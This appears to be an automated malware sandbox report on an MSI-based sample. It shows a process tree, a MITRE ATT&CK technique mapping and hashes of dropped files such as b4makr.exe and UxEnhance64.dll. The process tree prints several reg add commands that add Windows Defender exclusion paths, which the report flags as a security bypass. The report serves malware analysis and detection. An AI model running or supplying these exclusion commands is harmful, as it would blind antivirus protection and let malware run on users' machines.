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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\560rRZ" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\560rRZ" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4328
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4476
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:756
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4168 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4304
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3060
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e589576.rbs
- Size 7KB
- SHA256 e6d75847f5bac204d13dfcd1c53928d8c4c4eae7b0ab19e110c0bb780ba95ef0
- MD5 961f5815cd0c2af91de9e93c12fb44de
- SHA1 5d6a5f185183e68bc9298cbf716c8e516ebaaaa3
- SHA512 c30646042b6a065b81a2a8199c7eaed2b67470485d1e4a33d50abd7097ab2e411162626f612ff493b76ef3d5c361d09a5293e8882a2b693a2d97fbc4df2a1730
- SSDEEP 96:Sguu1e+EaUU8h1CsThq/U8h1C6j4/xpThqjHqS56TWt8d6CKpljBzIjByy:SgeOzaIIVaI36A7Kpk
- TLSH T128F12101B71196D2E9911BB5CB831B1637F2D3DAA320735B089E80685F573883FD57AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\560rRZ\UxEnhance64.dll
- Size 3.1MB
- SHA256 2d46a388a2e2937b585de3698cdfced1fce032d055d4cfb673e612ff045357a5
- MD5 8129dcdc39653546d49dc2e0c194f879
- SHA1 bfc689c9b58d6a0ac8b7b2d933d891317cba47db
- SHA512 6906cbc50e1e4d421f023c78a0ad609f6f13e9ba0bf43a818613ac64b4bedd6c94144d012da0e3ee2caaa22f517c09370098ad21a5c796006b0d9cefd7351dc7
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+N:P9m29xx3Tiqt06ox6+z2rNNrKoN
- TLSH T1A8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\560rRZ\adoresd.dat
- Size 4.7MB
- SHA256 642da59a3ebe6e6af3e69fdc897d53d63a9543e24401c3720ee36e0552724292
- MD5 efb6dcac1f831a0cc61020c1d74e75e1
- SHA1 d510dc1d02844ebf39ecafa4d72e1f407be955a7
- SHA512 bfe0d561b1ad3f36ab75d1cbcbd4cab25c9f8a07d98d000d0dbbec7cfb676fdcbe405dbfff4c63a1a1c0f0984df27ba13857904e58489969d6d3358abe175672
- SSDEEP 98304:qmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:5u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1A53633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\560rRZ\b4makr.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\560rRZ\msadox.tb
- Size 8KB
- SHA256 037dfb1eeb0f9e510fbec4d783bbd3011a0c850625838d96eff5cd5d75f9b6e2
- MD5 b2fc6706b6e71345b2ae0316e60d91a9
- SHA1 0f91bc5f38a3100bb2193e41c6433e87559b31f2
- SHA512 b77699790ff4cede1e5fef51e3cca5fc310d93fd8a8aca8c5bce8467e7cfae34bd2c02704bfa15b8fa9c2ec6d1558841433a915a6a3272ebb942bb2c44257349
- SSDEEP 192:pqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:psZqZOXQ3uqvR2Kfzp
- TLSH T1C0029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI973B.tmp
- Size 6.8MB
- SHA256 99c4cc89c0322b357536b7110aad0837d0e88a6418981798db45f1be9883f120
- MD5 6f5384bb937fd8082565fb497356b05c
- SHA1 f99ff347d605febbb2711b3ce8edea25350a7690
- SHA512 cf78f60be13f47f326c2e70636e9eed27c2e63a4cfd68d3b4bd443400e94ab07a253a4e53700836fdae0150dbf77f934a8b981b1d7e41b548bb60007e04b2341
- SSDEEP 196608:ljh5lxqmIN1qEjEj6BS6kVsPRGVLZ8WidN:drqLNPEIuSPRGVi1dN
- TLSH T13A7633D539CF27B0C59BDBB16147786E3C2A3BD678220E8E79AC76011E723292277740
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e589575.msi
- Size 6.8MB
- SHA256 2d6f51c5cb1934600cc2a7c2ff1aef873944c28651cf2c3595419604f9406249
- MD5 e6ec6aef89862dc42899c7dc1f7b6033
- SHA1 75ef765385fd713ee1373584d3056171277c9500
- SHA512 84193d3c04e860ddd46c0852d7b9e47015a6e93f3c195df00c11a2890564330a50045402f25c562c46d684cd3c4433e91bb09fdfd7730fef16be37e981bc0d10
- SSDEEP 196608:+jh5lxqmIN1qEjEjWBS6kVsPRGVLZ8WidV:urqLNPEcuSPRGVi1dV
- TLSH T1EE7633D179CB2BB1C59BDBB16147B86D3C2A7FC67D224D8A75AC76042E723292273340
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 45fd6c163425ba979ba9a0c5bcdaa3af918f61db40fe5c1d3155bdc4113465f2
- MD5 72ebe5c7b5303b595c74fc12e6af13a3
- SHA1 af2648e7b0ca0899f7dae66a7b6d62fb4610ed81
- SHA512 56934e16fc341a1b52d6fc7dc1a71fb5764508c6070bf7e2c693aae213fc863e660de09d1ed0818d52113b8af6bfda923762d6e16ae7455e4e3eebd979f8d177
- SSDEEP 24576:3u8m+1zUdoO/vvTLrW2ez2qCHvkTel2y6AGt0JXVuUKX+R/r4vFvuw9Bz:g
- TLSH T12247A42436F92140E7F79F3C68F06A23493A7D6B9C19DE8D45811B4E0921FB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{797a15ee-d9a1-454b-8c51-6a857ea76feb}_OnDiskSnapshotProp
- Size 6KB
- SHA256 d24bb37733f6fd23f1ecc6f161c2bebf005ec2d35ac4050c63e844af0f88a826
- MD5 f5c89eeb139ae420e2c7f6c3d087c012
- SHA1 0ad5c832b7befc81e8c28400bf7fdbc8759eab98
- SHA512 df8bc271e290cb3fb881f8622f07f8d4cdd5b6d0af381ba96f132d3cea9728c3896b6baacfc059859ae6b177f282cb7c34d0eec347a279bdaf7755757e81f3f6
- SSDEEP 96:Fqqm6MLvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:pmVb++ZVm
- TLSH T189D188085AF54311E2B3AB3129F14557A877B911EF33CB8E0298238E2630910F836F5B
- MD5 SHA1 SHA512 SSDEEP TLSH